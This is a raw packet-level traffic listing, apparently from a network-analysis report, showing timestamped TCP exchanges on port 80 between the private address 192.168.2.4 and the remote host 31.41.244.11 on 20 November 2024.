Nov 20, 2024 04:08:10.664165974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664180040 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664184093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664200068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664201975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664217949 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664233923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664254904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664400101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664422035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664443970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664460897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664608955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664625883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664633989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664658070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664659023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664674997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664685011 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664690018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664699078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664705992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664715052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664740086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664750099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664763927 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664772034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664788961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664792061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664807081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664819002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664824009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664838076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664840937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664854050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664858103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664875984 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664896965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664896965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664910078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664931059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664940119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664942980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664956093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664971113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664979935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.664984941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.664999008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.665019989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.665024042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.665045023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.665055037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.665064096 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.665070057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.665085077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.665097952 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.665101051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.665117025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.665119886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.665136099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.665138960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.665146112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.665173054 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.665191889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.665905952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.665950060 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666007042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666038990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666045904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666064024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666079998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666080952 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666096926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666105032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666124105 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666129112 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666141033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666152000 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666167021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666202068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666557074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666600943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666615963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666630030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666651964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666656017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666672945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666675091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666691065 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666692972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666709900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666714907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666728020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666732073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666747093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666749954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666766882 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666783094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666882992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666896105 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666909933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666924000 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666934967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666938066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666949987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666959047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666966915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666975021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.666982889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.666995049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667009115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667011976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667025089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667027950 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667051077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667061090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667067051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667083025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667090893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667090893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667098045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667114973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667120934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667129993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667135000 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667155981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667162895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667172909 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667187929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667190075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667201996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667207003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667218924 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667223930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667238951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667239904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667248964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667258024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667273045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667283058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667300940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667305946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667331934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667346001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667352915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667362928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667371035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667381048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667391062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667397022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667409897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667409897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667414904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.667439938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.667457104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.703038931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.703066111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.703083038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.703098059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.703102112 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.703115940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.703118086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.703133106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.703136921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.703150988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.703165054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.703169107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.703169107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.703191996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.703191996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.704515934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712094069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712151051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712383032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712407112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712429047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712430000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712454081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712455988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712466955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712471962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712498903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712498903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712516069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712526083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712531090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712538004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712548018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712558985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712563992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712580919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712580919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712593079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712598085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712611914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712615967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712625980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712630987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712649107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712650061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712661982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712666035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712683916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712688923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712697029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712702036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712718964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712719917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712733030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712734938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712753057 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712753057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.712764025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712785959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.712799072 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.752151966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752177000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752194881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752212048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752222061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752229929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.752237082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752242088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.752252102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.752254963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752288103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.752480984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752485037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.752545118 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752559900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752584934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752602100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752616882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752619028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.752635956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752651930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.752662897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.752690077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753096104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753110886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753127098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753150940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753156900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753170967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753175020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753195047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753196955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753212929 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753218889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753230095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753237009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753247023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753251076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753269911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753288984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753293991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753304958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753321886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753330946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753338099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753345013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753362894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753365040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753380060 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753381968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753397942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753410101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753421068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753421068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753453016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753458977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753475904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753483057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753499031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753504038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753515005 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753524065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753534079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753540993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753565073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753572941 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753582001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753597021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753597021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753613949 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753622055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753623962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753640890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753648043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753663063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753674984 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753679037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753685951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753696918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.753710032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753722906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.753742933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.754543066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.754569054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.754585981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.754599094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.754615068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.754628897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.754653931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.754673004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.754688025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.754697084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.754707098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.754710913 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.754729033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.754749060 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755234957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755249977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755286932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755304098 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755332947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755347967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755374908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755374908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755384922 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755390882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755414963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755424023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755429983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755445957 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755446911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755460024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755471945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755476952 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755489111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755506992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755513906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755532980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755536079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755548954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755552053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755565882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.755569935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755580902 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.755584002 CET	80	62430	31.41.244.11	192.168.2.4
